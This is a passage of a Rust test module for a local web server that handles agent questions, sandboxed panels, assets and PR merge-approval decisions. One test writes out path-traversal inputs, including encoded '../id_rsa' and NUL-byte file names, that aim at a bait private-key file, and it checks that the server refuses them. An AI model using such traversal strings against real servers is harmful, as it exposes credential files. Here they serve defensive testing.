11797            assert_eq!(res.status, 200, "{name}: {}", res.body);
11798            // Serving this as text/html would be a way to reach agent markup
11799            // at the top level of the operator's browser, outside the frame's
11800            // sandbox and outside its CSP - which is the whole thing the panel
11801            // design exists to prevent. Unlisted types are downloads.
11802            assert_eq!(
11803                res.header("content-type"),
11804                Some("application/octet-stream"),
11805                "{name} must not be a type the browser will execute or render"
11806            );
11807        }
11808        // The whitelist is matched case-insensitively, so an agent shouting the
11809        // extension still gets a readable file rather than a download.
11810        let txt = fx
11811            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11812            .await;
11813        assert_eq!(
11814            txt.header("content-type"),
11815            Some("text/plain; charset=utf-8")
11816        );
11817    }
11818
11819    #[tokio::test]
11820    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11821        let fx = Fixture::start().await;
11822        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11823        // Something outside the panel directory that a traversal would reach if
11824        // one got through, so a passing test is not merely "the file was
11825        // missing anyway".
11826        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11827
11828        // Decoded before this server's handler sees them: axum percent-decodes
11829        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
11830        // string with a NUL in it. All three look like ordinary single-segment
11831        // filenames to the router, so the router passes them through and
11832        // `valid_asset_name` is what refuses them - for the literal `..`, and
11833        // for `/`, `\` and NUL not being in the permitted character set.
11834        for encoded in [
11835            "%2e%2e%2fid_rsa",
11836            "..%2fid_rsa",
11837            "..%5cid_rsa",
11838            "%2e%2e%5cid_rsa",
11839            "diff%00.svg",
11840            "..",
11841            ".hidden",
11842            "%2e%2e%2f%2e%2e%2fid_rsa",
11843        ] {
11844            let res = fx
11845                .get(&format!("/api/questions/{id}/asset/{encoded}"))
11846                .await;
11847            assert_eq!(
11848                res.status, 400,
11849                "`{encoded}` has to be refused by name, not looked up: {}",
11850                res.body
11851            );
11852            assert!(res.json()["error"].is_string(), "{}", res.body);
11853        }
11854
11855        // Not decoded, and never this handler's problem: a real slash makes the
11856        // request one segment too long for `/api/questions/{id}/asset/{name}`,
11857        // so axum's router has no route to match and answers before any code
11858        // here runs. Asserted so that a future route with a wildcard segment
11859        // cannot quietly open this door.
11860        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11861            let res = fx
11862                .get(&format!("/api/questions/{id}/asset/{literal}"))
11863                .await;
11864            assert_eq!(
11865                res.status, 404,
11866                "`{literal}` must not match the asset route at all: {}",
11867                res.body
11868            );
11869        }
11870    }
11871
11872    #[tokio::test]
11873    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11874        let fx = Fixture::start().await;
11875        let plain = ask(&fx, "Which backend?", &["SQLite"]);
11876        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11877
11878        // A question nobody wrote a panel for. The client preflights with HEAD
11879        // and cannot see inside a sandboxed frame, so this must be a status and
11880        // not an empty page.
11881        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11882        assert_eq!(none.status, 404, "{}", none.body);
11883        assert!(none.json()["error"].is_string(), "{}", none.body);
11884        assert_eq!(
11885            fx.head(&format!("/api/questions/{plain}/panel"))
11886                .await
11887                .status,
11888            404,
11889            "the preflight is the only way the client can learn this"
11890        );
11891
11892        // A name that is perfectly legal and simply is not there.
11893        let missing = fx
11894            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11895            .await;
11896        assert_eq!(missing.status, 404, "{}", missing.body);
11897        assert!(missing.json()["error"].is_string(), "{}", missing.body);
11898
11899        // A question that does not exist at all, on both routes.
11900        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11901        assert_eq!(
11902            fx.get("/api/questions/nope/asset/diff.svg").await.status,
11903            404
11904        );
11905    }
11906
11907    #[tokio::test]
11908    async fn a_run_with_an_open_question_reads_as_waiting() {
11909        let fx = Fixture::start().await;
11910        let run = "20260902-000000-beef".to_owned();
11911        write_run(&fx.runs(), &run, RunStatus::Implementing);
11912
11913        let before = fx.get("/api/runs").await.json();
11914        assert_eq!(before[0]["waiting"], false, "{before}");
11915
11916        let store = fx.questions();
11917        let mut q = Question::new(
11918            run.clone(),
11919            "implement".to_owned(),
11920            "impl-A".to_owned(),
11921            "Which backend?".to_owned(),
11922            String::new(),
11923            vec!["SQLite".to_owned()],
11924        );
11925        store.put(&mut q).expect("put");
11926
11927        let during = fx.get("/api/runs").await.json();
11928        assert_eq!(during[0]["waiting"], true, "{during}");
11929
11930        // Answered: the run is moving again, and the flag has to follow without
11931        // anything having rewritten run.json.
11932        q.answer(Answer::Choice("SQLite".to_owned()))
11933            .expect("answer");
11934        store.put(&mut q).expect("put");
11935        let after = fx.get("/api/runs").await.json();
11936        assert_eq!(after[0]["waiting"], false, "{after}");
11937    }
11938
11939    #[tokio::test]
11940    async fn an_open_question_is_listed_and_counted_by_health() {
11941        let fx = Fixture::start().await;
11942        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11943
11944        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11945        let listed = fx.get("/api/questions").await.json();
11946        assert_eq!(listed.as_array().expect("array").len(), 1);
11947        assert_eq!(listed[0]["id"], id);
11948        assert_eq!(listed[0]["status"], "open");
11949        assert_eq!(listed[0]["choices"][1], "Redis");
11950        // The count is what makes the phone's indicator honest: it is the one
11951        // number meaning nothing will move until a human acts.
11952        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11953    }
11954
11955    fn obsolete_approval_state() -> RunState {
11956        let mut state = crate::land::tests::repair_state(true, true);
11957        state.pr = Some(crate::run::PrRecord {
11958            url: "https://github.com/example/repo/pull/42".into(),
11959            number: 42,
11960            state: "open".into(),
11961            checks: "green".into(),
11962            round: 1,
11963            rounds: 4,
11964            red_at_merge: Vec::new(),
11965        });
11966        state
11967    }
11968
11969    #[tokio::test]
11970    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11971        for owner in ["missing", "current", "completed", "later"] {
11972            let fx = Fixture {
11973                home: TempDir::new().unwrap(),
11974                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11975            };
11976            let mut state = obsolete_approval_state();
11977            state.status = RunStatus::Landing;
11978            state.parked = true;
11979            state.driver_exited = true;
11980            let mut q = Question::new(
11981                state.id.clone(),
11982                crate::land::APPROVAL_NODE.into(),
11983                "land".into(),
11984                "Old approval".into(),
11985                "Original evidence".into(),
11986                vec!["merge".into(), "hold".into()],
11987            );
11988            state.land_approval = Some(crate::run::LandApproval {
11989                question: q.id.clone(),
11990                head: "head".into(),
11991            });
11992            state.save_under(fx.home.path()).unwrap();
11993            let stale = state.clone();
11994            fx.questions().put(&mut q).unwrap();
11995            let mut task = Task::new(
11996                "Owner".into(),
11997                "Original instruction".into(),
11998                state.repo.clone(),
11999                Source::Human,
12000            );
12001            task.runs.push(state.id.clone());
12002            task.status = if owner == "completed" {
12003                TaskStatus::Done
12004            } else {
12005                TaskStatus::Parked
12006            };
12007            if owner == "later" {
12008                task.runs.push("later-run".into());
12009            }
12010            if owner != "missing" {
12011                fx.queue().put(&mut task).unwrap();
12012            }
12013            let ui = Arc::new(Ui::new(
12014                fx.queue(),
12015                fx.questions(),
12016                fx.talks(),
12017                fx.runs(),
12018                fx.home.path().into(),
12019                state.repo.clone(),
12020            ));
12021            let response = question_answer(
12022                State(ui),
12023                Path(q.id.clone()),
12024                Ok(Json(NewAnswer {
12025                    choice: Some(crate::merge_decision::DISMISS.into()),
12026                    text: None,
12027                    ..Default::default()
12028                })),
12029            )
12030            .await
12031            .unwrap();
12032            assert_eq!(
12033                response.0.question.resolution().as_deref(),
12034                Some(crate::merge_decision::DISMISS)
12035            );
12036            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12037            assert_eq!(disk.status, RunStatus::Superseded);
12038            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12039            assert!(!crate::merge_decision::resumable_hold(&disk));
12040            assert_eq!(
12041                serde_json::to_value(&disk.pr).unwrap(),
12042                serde_json::to_value(&stale.pr).unwrap()
12043            );
12044            assert_eq!(fx.questions().count_open(), 0);
12045            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12046            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12047            if owner == "missing" {
12048                assert!(fx.queue().list().is_empty());
12049            } else {
12050                let after = fx.queue().get(&task.id).unwrap();
12051                assert_eq!(
12052                    after.status,
12053                    if owner == "current" {
12054                        TaskStatus::Done
12055                    } else {
12056                        task.status
12057                    }
12058                );
12059                assert_eq!(after.runs, task.runs);
12060                assert_eq!(after.instruction, task.instruction);
12061                assert_eq!(after.action_applied(&q.id), owner == "current");
12062            }
12063        }
12064    }
12065
12066    #[tokio::test]
12067    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12068        let fx = Fixture::start().await;
12069        let mut state = obsolete_approval_state();
12070        state.status = RunStatus::Landing;
12071        state.parked = true;
12072        state.driver_exited = true;
12073        let mut q = Question::new(
12074            state.id.clone(),
12075            crate::land::APPROVAL_NODE.into(),
12076            "land".into(),
12077            "Superseded PR approval".into(),
12078            "Original review evidence".into(),
12079            vec!["merge".into(), "hold".into()],
12080        );
12081        state.land_approval = Some(crate::run::LandApproval {
12082            question: q.id.clone(),
12083            head: "old-reviewed-head".into(),
12084        });
12085        // The old persisted PR may still say open even when a separate change
12086        // already landed. Dismissal must not use that snapshot to close it.
12087        state.save_under(fx.home.path()).unwrap();
12088        let stale_driver = state.clone();
12089        fx.questions().put(&mut q).unwrap();
12090        let path = fx
12091            .home
12092            .path()
12093            .join("questions")
12094            .join(format!("{}.json", q.id));
12095        let mut legacy = serde_json::to_value(&q).unwrap();
12096        legacy["schema"] = 9.into();
12097        legacy.as_object_mut().unwrap().remove("merge_target");
12098        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12099
12100        // POST without GET tests legacy upgrade and validation at the actual
12101        // entry point, rather than constructing a modern card in the test.
12102        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12103        let answer_path = format!("/api/questions/{}/answer", q.id);
12104        let res = fx.post(&answer_path, Some(&body)).await;
12105        assert_eq!(res.status, 200, "{}", res.body);
12106        let disk = fx.questions().get(&q.id).unwrap();
12107        assert_eq!(
12108            disk.resolution().as_deref(),
12109            Some(crate::merge_decision::DISMISS)
12110        );
12111        assert!(disk.detail.starts_with("Original review evidence"));
12112        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12113        assert_eq!(retired.status, RunStatus::Superseded);
12114        assert_eq!(
12115            serde_json::to_value(&retired.pr).unwrap(),
12116            serde_json::to_value(&state.pr).unwrap()
12117        );
12118        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12119        assert!(!crate::merge_decision::resumable_hold(&retired));
12120        assert!(fx.queue().list().is_empty());
12121        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12122        // A restarted server re-reads the persisted pending list.
12123        let addr = Fixture::serve(
12124            fx.home.path(),
12125            PathBuf::from("/repo/magi"),
12126            launch_idle,
12127            None,
12128        )
12129        .await;
12130        let reconnected = Fixture {
12131            home: fx.home,
12132            addr,
12133        };
12134        let listed = reconnected.get("/api/questions").await.json();
12135        assert!(
12136            listed
12137                .as_array()
12138                .unwrap()
12139                .iter()
12140                .all(|q| q["status"] != "open")
12141        );
12142        assert_eq!(listed[0]["id"], q.id, "history remains available");
12143        assert_eq!(
12144            reconnected.get("/api/health").await.json()["questions_open"],
12145            0
12146        );
12147        assert_eq!(
12148            reconnected
12149                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12150                .await
12151                .status,
12152            409
12153        );
12154        // A late waiter cannot turn the old answer into a new decision.
12155        assert!(
12156            reconnected
12157                .questions()
12158                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12159                .is_err()
12160        );
12161        // The same guard used by claims, repair and publication rejects a
12162        // saved in-memory driver as well as the persisted terminal record.
12163        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12164    }
12165
12166    #[tokio::test]
12167    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12168        let fx = Fixture::start().await;
12169        let mut state = obsolete_approval_state();
12170        state.status = RunStatus::Landing;
12171        state.driver_exited = true;
12172        let mut q = Question::new(
12173            state.id.clone(),
12174            crate::land::APPROVAL_NODE.into(),
12175            "land".into(),
12176            "Obsolete approval".into(),
12177            String::new(),
12178            vec!["merge".into(), "hold".into()],
12179        );
12180        state.land_approval = Some(crate::run::LandApproval {
12181            question: q.id.clone(),
12182            head: "head".into(),
12183        });
12184        state.save_under(fx.home.path()).unwrap();
12185        fx.questions().put(&mut q).unwrap();
12186        let mut task = Task::new(
12187            "Owner".into(),
12188            "Original instruction".into(),
12189            state.repo.clone(),
12190            Source::Human,
12191        );
12192        task.runs = vec![state.id.clone(), "later-run".into()];
12193        fx.queue().put(&mut task).unwrap();
12194        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12195        let claim = fx.queue().claim(&task.id).unwrap();
12196        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12197        let path = format!("/api/questions/{}/answer", q.id);
12198        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12199        assert!(fx.questions().get(&q.id).unwrap().status.open());
12200        drop(claim);
12201        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12202        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12203        assert!(fx.questions().get(&q.id).unwrap().status.open());
12204        drop(publication);
12205        // Unknown liveness and armed auto-merge both fail without settling.
12206        state.driver_exited = false;
12207        state.driver_pid = None;
12208        state.driver_claimed = None; // No durable proof of an unstarted execution.
12209        state.save_under(fx.home.path()).unwrap();
12210        assert_eq!(
12211            state.liveness_under(fx.home.path(), false),
12212            crate::run::Liveness::Unknown
12213        );
12214
12215        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12216        state.driver_exited = true;
12217        state.land_armed_head = Some("head".into());
12218        state.save_under(fx.home.path()).unwrap();
12219        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12220        state.land_armed_head = None;
12221        state.save_under(fx.home.path()).unwrap();
12222        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12223        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12224        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12225    }
12226
12227    #[tokio::test]
12228    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12229        let fx = Fixture::start().await;
12230        let mut state = obsolete_approval_state();
12231        state.status = RunStatus::Landing;
12232        state.driver_exited = true;
12233        let mut q = Question::new(
12234            state.id.clone(),
12235            crate::land::APPROVAL_NODE.into(),
12236            "land".into(),
12237            "Obsolete approval".into(),
12238            String::new(),
12239            vec!["merge".into(), "hold".into()],
12240        );
12241        state.land_approval = Some(crate::run::LandApproval {
12242            question: q.id.clone(),
12243            head: "head".into(),
12244        });
12245        state.save_under(fx.home.path()).unwrap();
12246        fx.questions().put(&mut q).unwrap();
12247        let mut task = Task::new(
12248            "Owner".into(),
12249            "Original instruction".into(),
12250            state.repo.clone(),
12251            Source::Human,
12252        );
12253        task.runs.push(state.id.clone());
12254        task.status = TaskStatus::Parked;
12255        fx.queue().put(&mut task).unwrap();
12256        // Model a crash after the run stop was persisted but before the queue
12257        // and answered question were flushed. Retrying must finish, not resume.
12258        state.merge_decision = Some(crate::merge_decision::Decision {
12259            question: q.id.clone(),
12260            target: crate::merge_decision::Target {
12261                pr: state.pr.as_ref().unwrap().url.clone(),
12262                head: "head".into(),
12263                language: "ja".into(),
12264            },
12265            choice: crate::merge_decision::DISMISS.into(),
12266            closed: false,
12267            replacement_run: None,
12268            replacement_pr: None,
12269        });
12270        state.status = RunStatus::Superseded;
12271        state.save_under(fx.home.path()).unwrap();
12272        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12273        let path = format!("/api/questions/{}/answer", q.id);
12274        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12275        let done = fx.queue().get(&task.id).unwrap();
12276        assert_eq!(done.status, TaskStatus::Done);
12277        assert_eq!(done.runs, task.runs);
12278        assert_eq!(done.instruction, task.instruction);
12279        assert!(done.action_applied(&q.id));
12280        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12281        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12282        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12283    }
12284
12285    #[tokio::test]
12286    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12287        let home = TempDir::new().unwrap();
12288        let ui = Arc::new(Ui::new(
12289            Queue::at(home.path().join("queue")),
12290            Questions::at(home.path().join("questions")),
12291            Talks::at(home.path().join("talks")),
12292            home.path().join("runs"),
12293            home.path().to_owned(),
12294            home.path().to_owned(),
12295        ));
12296        let talks = &ui.talks;
12297        let chat =
12298            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12299        let mut q = Question::new(
12300            "run".into(),
12301            crate::land::APPROVAL_NODE.into(),
12302            "land".into(),
12303            "Merge?".into(),
12304            String::new(),
12305            vec!["merge".into(), "hold".into()],
12306        );
12307        q.routed_task = Some("task".into());
12308        q.routed_chat = Some(chat.id.clone());
12309        q.merge_target = Some(crate::merge_decision::Target {
12310            pr: "https://example.test/pull/1".into(),
12311            head: "head-a".into(),
12312            language: "en".into(),
12313        });
12314        ui.questions.put(&mut q).unwrap();
12315        let send = |body| {
12316            question_answer(
12317                State(ui.clone()),
12318                Path(q.id.clone()),
12319                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12320            )
12321        };
12322        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12323        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12324        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12325        assert!(send(wrong_chat).await.is_err());
12326        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12327        assert!(send(stale).await.is_err());
12328        assert!(ui.questions.get(&q.id).unwrap().status.open());
12329        assert!(send(button.clone()).await.is_ok());
12330        assert_eq!(
12331            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12332            Some("merge")
12333        );
12334        assert!(send(button).await.is_err());
12335    }
12336
12337    #[tokio::test]
12338    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12339        let home = TempDir::new().unwrap();
12340        let ui = Arc::new(Ui::new(
12341            Queue::at(home.path().join("queue")),
12342            Questions::at(home.path().join("questions")),
12343            Talks::at(home.path().join("talks")),
12344            home.path().join("runs"),
12345            home.path().to_owned(),
12346            home.path().to_owned(),
12347        ));
12348        for choice in [crate::land::APPROVE, crate::land::HOLD] {
12349            let mut q = Question::new(
12350                "run".into(),
12351                crate::land::APPROVAL_NODE.into(),
12352                "land".into(),
12353                "Merge?".into(),
12354                String::new(),
12355                vec!["merge".into(), choice.into()],
12356            );
12357            q.routed_task = Some("task".into());
12358            q.merge_target = Some(crate::merge_decision::Target {
12359                pr: "https://example.test/pull/1".into(),
12360                head: "head-a".into(),
12361                language: "en".into(),
12362            });
12363            ui.questions.put(&mut q).unwrap();
12364            let answer = |c: &str| {
12365                question_answer(
12366                    State(ui.clone()),
12367                    Path(q.id.clone()),
12368                    Ok(Json(
12369                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12370                            .unwrap(),
12371                    )),
12372                )
12373            };
12374            let _ = answer(choice).await.unwrap();
12375            assert_eq!(
12376                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12377                Some(choice)
12378            );
12379        }
12380    }
12381
12382    #[tokio::test]
12383    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12384        let home = TempDir::new().unwrap();
12385        let ui = Arc::new(Ui::new(
12386            Queue::at(home.path().join("queue")),
12387            Questions::at(home.path().join("questions")),
12388            Talks::at(home.path().join("talks")),
12389            home.path().join("runs"),
12390            home.path().to_owned(),
12391            home.path().to_owned(),
12392        ));
12393        let mut q = Question::new(
12394            "run".into(),
12395            crate::github_text::ASK_NODE.into(),
12396            "posting-gate".into(),
12397            "Post?".into(),
12398            String::new(),
12399            vec!["use fallback".into()],
12400        );
12401        q.routed_task = Some("task".into());
12402        ui.questions.put(&mut q).unwrap();
12403        let sent = question_answer(
12404            State(ui.clone()),
12405            Path(q.id.clone()),
12406            Ok(Json(
12407                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12408                    .unwrap(),
12409            )),
12410        )
12411        .await;
12412        let _ = sent.unwrap();
12413        assert_eq!(
12414            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12415            Some("use fallback")
12416        );
12417    }
12418
12419    #[tokio::test]
12420    async fn merge_decision_api_persists_exact_target_and_selected_action() {
12421        let fx = Fixture {
12422            home: TempDir::new().unwrap(),
12423            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12424        };
12425        for choice in [
12426            crate::land::HOLD,
12427            crate::land::REPAIR,
12428            crate::land::APPROVE,
12429            crate::merge_decision::WITHDRAW,
12430            "reimplement:beta",
12431        ] {
12432            let mut q = Question::new(
12433                "old-run".into(),
12434                crate::land::APPROVAL_NODE.into(),
12435                "land".into(),
12436                "Decision".into(),
12437                "Review findings".into(),
12438                vec![
12439                    "merge".into(),
12440                    "hold".into(),
12441                    crate::land::REPAIR.into(),
12442                    crate::merge_decision::WITHDRAW.into(),
12443                    "reimplement:beta".into(),
12444                ],
12445            );
12446            q.merge_target = Some(crate::merge_decision::Target {
12447                pr: "https://github.com/example/repo/pull/42".into(),
12448                head: "exact-reviewed-head".into(),
12449                language: "ja".into(),
12450            });
12451            q.consult = Some(ask::ChatConsult {
12452                talk: "another-conversation".into(),
12453                at: jiff::Timestamp::now(),
12454            });
12455            fx.questions().put(&mut q).unwrap();
12456            let ui = Arc::new(Ui::new(
12457                fx.queue(),
12458                fx.questions(),
12459                fx.talks(),
12460                fx.runs(),
12461                fx.home.path().into(),
12462                std::path::PathBuf::from("."),
12463            ));
12464            let response = question_answer(
12465                State(ui.clone()),
12466                Path(q.id.clone()),
12467                Ok(Json(NewAnswer {
12468                    choice: Some(choice.into()),
12469                    text: None,
12470                    ..Default::default()
12471                })),
12472            )
12473            .await
12474            .unwrap();
12475            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12476            let disk = fx.questions().get(&q.id).unwrap();
12477            assert_eq!(disk.merge_target, q.merge_target);
12478            assert_eq!(disk.consult, q.consult);
12479            assert_eq!(disk.resolution().as_deref(), Some(choice));
12480            assert!(
12481                question_answer(
12482                    State(ui),
12483                    Path(q.id.clone()),
12484                    Ok(Json(NewAnswer {
12485                        choice: Some("merge".into()),
12486                        text: None,
12487                        ..Default::default()
12488                    }))
12489                )
12490                .await
12491                .is_err(),
12492                "an already settled decision cannot turn into merge approval"
12493            );
12494        }
12495    }
12496
12497    #[tokio::test]
12498    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12499        let fx = Fixture {
12500            home: TempDir::new().unwrap(),
12501            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12502        };
12503        let mut state = crate::land::tests::repair_state(true, true);
12504        state.status = RunStatus::Landing;
12505        state.parked = true;
12506        state.driver_exited = true;
12507        let mut task = Task::new(
12508            "Existing PR owner".into(),
12509            state.instruction.clone(),
12510            state.repo.clone(),
12511            Source::Human,
12512        );
12513        task.runs.push(state.id.clone());
12514        task.status = TaskStatus::Parked;
12515        fx.queue().put(&mut task).unwrap();
12516        let mut q = Question::new(
12517            state.id.clone(),
12518            crate::land::APPROVAL_NODE.into(),
12519            "land".into(),
12520            "Contested merge".into(),
12521            "Original evidence".into(),
12522            vec!["merge".into(), "hold".into()],
12523        );
12524        state.land_approval = Some(crate::run::LandApproval {
12525            question: q.id.clone(),
12526            head: "reviewed-head".into(),
12527        });
12528        state.save_under(fx.home.path()).unwrap();
12529        fx.questions().put(&mut q).unwrap();
12530        // A later repair answer on this old card supersedes this manual hold.
12531        task.hold_manual(Some("Pause this PR".into()));
12532        fx.queue().put(&mut task).unwrap();
12533        // POST directly, without a preceding GET: validation must see the
12534        // same durable upgrade that the card, CLI and chat see.
12535        let ui = Arc::new(Ui::new(
12536            fx.queue(),
12537            fx.questions(),
12538            fx.talks(),
12539            fx.runs(),
12540            fx.home.path().to_path_buf(),
12541            state.repo.clone(),
12542        ));
12543        let response = question_answer(
12544            State(ui),
12545            Path(q.id.clone()),
12546            Ok(Json(NewAnswer {
12547                choice: Some(crate::land::REPAIR.into()),
12548                text: None,
12549                ..Default::default()
12550            })),
12551        )
12552        .await
12553        .unwrap();
12554        assert_eq!(response.0.question.id, q.id);
12555        let upgraded = fx.questions().get(&q.id).unwrap();
12556        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12557        assert!(upgraded.detail.starts_with("Original evidence"));
12558        let claim = fx.queue().claim(&task.id).unwrap();
12559        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12560        assert!(
12561            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12562            "an existing driver keeps its claim"
12563        );
12564        drop(claim);
12565        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12566        let resumed = fx.queue().get(&task.id).unwrap();
12567        assert_eq!(
12568            resumed
12569                .resume_override
12570                .as_ref()
12571                .unwrap()
12572                .pinned_run
12573                .as_deref(),
12574            Some(state.id.as_str())
12575        );
12576        assert!(resumed.status.runnable());
12577        assert_eq!(resumed.instruction, task.instruction);
12578        assert_eq!(resumed.runs, task.runs);
12579        assert!(resumed.action_applied(&q.id));
12580        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12581        assert_eq!(fx.queue().list().len(), 1);
12582        assert_eq!(
12583            fx.queue().get(&task.id).unwrap().resume_override,
12584            resumed.resume_override
12585        );
12586        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12587        assert!(
12588            disk.merge_repairs.is_empty(),
12589            "only the claimed run driver may execute repair"
12590        );
12591        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12592    }
12593
12594    #[tokio::test]
12595    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12596        let fx = Fixture::start().await;
12597        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12598        let path = format!("/api/questions/{id}/answer");
12599
12600        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12601        assert_eq!(res.status, 200, "{}", res.body);
12602        let body = res.json();
12603        assert_eq!(body["status"], "answered");
12604        assert_eq!(body["answer"]["choice"], "Redis");
12605
12606        // Answered from the terminal in between the list and the tap: the UI
12607        // must be able to tell this from a bad request, so it can show the
12608        // recorded answer instead of an error.
12609        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12610        assert_eq!(again.status, 409, "{}", again.body);
12611        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12612    }
12613
12614    #[tokio::test]
12615    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12616        let home = tempfile::tempdir().unwrap();
12617        let ui = delta_test_ui(home.path());
12618        let mut q = Question::new(
12619            "task".into(),
12620            crate::land::APPROVAL_NODE.into(),
12621            "land".into(),
12622            "Explain?".into(),
12623            String::new(),
12624            vec!["hold".into()],
12625        );
12626        q.deputy = Some(ask::Deputy::new("context".into()));
12627        ui.questions.put(&mut q).unwrap();
12628        let mut cfg = stub_config();
12629        cfg.daemon.max_deputies = 0;
12630        let mut status = crate::daemon::Status::new();
12631        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12632        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12633        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12634        let error = question_say(
12635            State(ui.clone()),
12636            Path(q.id.clone()),
12637            Ok(Json(NewSay {
12638                body: "Explain the findings".into(),
12639            })),
12640        )
12641        .await
12642        .unwrap_err();
12643        assert_eq!(
12644            error.text_reason,
12645            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12646        );
12647        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12648
12649        let mut text = Question::new(
12650            "task".into(),
12651            "ask".into(),
12652            "operator".into(),
12653            "Which name?".into(),
12654            String::new(),
12655            vec![],
12656        );
12657        ui.questions.put(&mut text).unwrap();
12658        let Json(view) = question_answer(
12659            State(ui.clone()),
12660            Path(text.id.clone()),
12661            Ok(Json(NewAnswer {
12662                choice: None,
12663                text: Some("chosen name".into()),
12664                ..Default::default()
12665            })),
12666        )
12667        .await
12668        .unwrap();
12669        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12670        assert!(!ui.questions.get(&text.id).unwrap().status.open());
12671    }
12672
12673    #[tokio::test]
12674    async fn question_text_handler_admission_without_transport() {
12675        let home = tempfile::tempdir().unwrap();
12676        let ui = delta_test_ui(home.path());
12677        let mut q = Question::new(
12678            "task".into(),
12679            crate::land::APPROVAL_NODE.into(),
12680            "land".into(),
12681            "May this PR merge?".into(),
12682            String::new(),
12683            vec!["hold".into()],
12684        );
12685        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12686        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12687        ui.questions.put(&mut q).unwrap();
12688        let say = || {
12689            Ok(Json(NewSay {
12690                body: "Explain the findings".into(),
